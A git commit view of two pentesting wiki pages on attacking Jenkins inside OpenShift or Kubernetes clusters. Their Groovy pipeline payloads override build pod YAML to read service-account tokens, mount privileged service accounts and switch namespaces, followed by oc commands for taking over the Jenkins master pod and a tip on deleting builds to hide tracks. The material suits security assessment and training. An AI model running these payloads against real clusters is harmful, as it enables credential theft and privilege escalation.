Recreating repository history for branch master

This commit is contained in:
Carlos Polop
2024-12-12 19:35:48 +01:00
commit 5ef56bb6b3
1076 changed files with 67158 additions and 0 deletions

View File

@@ -0,0 +1,39 @@
# OpenShift - Jenkins
**The original author of this page is** [**Fares**](https://www.linkedin.com/in/fares-siala/)
This page gives some pointers onto how you can attack a Jenkins instance running in an Openshift (or Kubernetes) cluster
## Disclaimer
A Jenkins instance can be deployed in both Openshift or Kubernetes cluster. Depending in your context, you may need to adapt any shown payload, yaml or technique. For more information about attacking Jenkins you can have a look at [this page](../../../pentesting-ci-cd/jenkins-security/)
## Prerequisites
1a. User access in a Jenkins instance OR 1b. User access with write permission to an SCM repository where an automated build is triggered after a push/merge
## How it works
Fundamentally, almost everything behind the scenes works the same as a regular Jenkins instance running in a VM. The main difference is the overall architecture and how builds are managed inside an openshift (or kubernetes) cluster.
### Builds
When a build is triggered, it is first managed/orchestrated by the Jenkins master node then delegated to an agent/slave/worker. In this context, the master node is just a regular pod running in a namespace (which might be different that the one where workers run). The same applies for the workers/slaves, however they destroyed once the build finished whereas the master always stays up. Your build is usually run inside a pod, using a default pod template defined by the Jenkins admins.
### Triggering a build
You have multiples main ways to trigger a build such as:
1. You have UI access to Jenkins
A very easy and convenient way is to use the Replay functionality of an existing build. It allows you to replay a previously executed build while allowing you to update the groovy script. This requires privileges on a Jenkins folder and a predefined pipeline. If you need to be stealthy, you can delete your triggered builds if you have enough permission.
2. You have write access to the SCM and automated builds are configured via webhook
You can just edit a build script (such as Jenkinsfile), commit and push (eventually create a PR if builds are only triggered on PR merges). Keep in mind that this path is very noisy and need elevated privileges to clean your tracks.
## Jenkins Build Pod YAML override
{% content-ref url="openshift-jenkins-build-overrides.md" %}
[openshift-jenkins-build-overrides.md](openshift-jenkins-build-overrides.md)
{% endcontent-ref %}

View File

@@ -0,0 +1,274 @@
# Jenkins in Openshift - build pod overrides
**The original author of this page is** [**Fares**](https://www.linkedin.com/in/fares-siala/)
## Kubernetes plugin for Jenkins
This plugin is mostly responsible of Jenkins core functions inside an openshift/kubernetes cluster. Official documentation [here](https://plugins.jenkins.io/kubernetes/)
It offers a few functionnalities such as the ability for developers to override some default configurations of a jenkins build pod.
## Core functionnality
This plugin allows flexibility to developers when building their code in adequate environment.
```groovy
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}
```
## Some abuses leveraging pod yaml override
It can however be abused to use any accessible image such as Kali Linux and execute arbritrary commands using preinstalled tools from that image.
In the example below we can exfiltrate the serviceaccount token of the running pod.
```groovy
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}
```
A different synthax to achieve the same goal.
```groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
```
Sample to override the namespace of the pod
```groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
```
Another example which tries mounting a serviceaccount (which may have more permissions than the default one, running your build) based on its name. You may need to guess or enumerate existing serviceaccounts first.
```groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
```
The same technique applies to try mounting a Secret. The end goal here would be to figure out how to configure your pod build to effectively pivot or gain privileges.
## Going further
Once you get used to play around with it, use your knowledge on Jenkins and Kubernetes/Openshift to find misconfigurations / abuses.
Ask yourself the following questions:
- Which service account is being used to deploy build pods?
- What roles and permissions does it have? Can it read secrets of the namespace I am currently in?
- Can I further enumerate other build pods?
- From a compromised sa, can I execute commands on the master node/pod?
- Can I further enumerate the cluster to pivot elsewhere?
- Which SCC is applied?
You can find out which oc/kubectl commands to issue [here](../openshift-basic-information.md) and [here](../../kubernetes-security/kubernetes-enumeration.md).
### Possible privesc/pivoting scenarios
Let's assume that during your assessment you found out that all jenkins builds run inside a namespace called _worker-ns_. You figured out that a default serviceaccount called _default-sa_ is mounted on the build pods, however it does not have so many permissions except read access on some resources but you were able to identify an existing service account called _master-sa_.
Let's also assume that you have the oc command installed inside the running build container.
With the below build script you can take control of the _master-sa_ serviceaccount and enumerate further.
```groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}
```
Depending on your access, either you need to continue your attack from the build script or you can directly login as this sa on the running cluster:
```bash
oc login --token=$token --server=https://apiserver.com:port
```
If this sa has enough permission (such as pod/exec), you can also take control of the whole jenkins instance by executing commands inside the master node pod, if it's running within the same namespace. You can easily identify this pod via its name and by the fact that it must be mounting a PVC (persistant volume claim) used to store jenkins data.
```bash
oc rsh pod_name -c container_name
```
In case the master node pod is not running within the same namespace as the workers you can try similar attacks by targetting the master namespace. Let's assume its called _jenkins-master_. Keep in mind that serviceAccount master-sa needs to exist on the _jenkins-master_ namespace (and might not exist in _worker-ns_ namespace)
```groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: jenkins-master
spec:
serviceAccount: master-sa
containers:
- name: evil-build
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}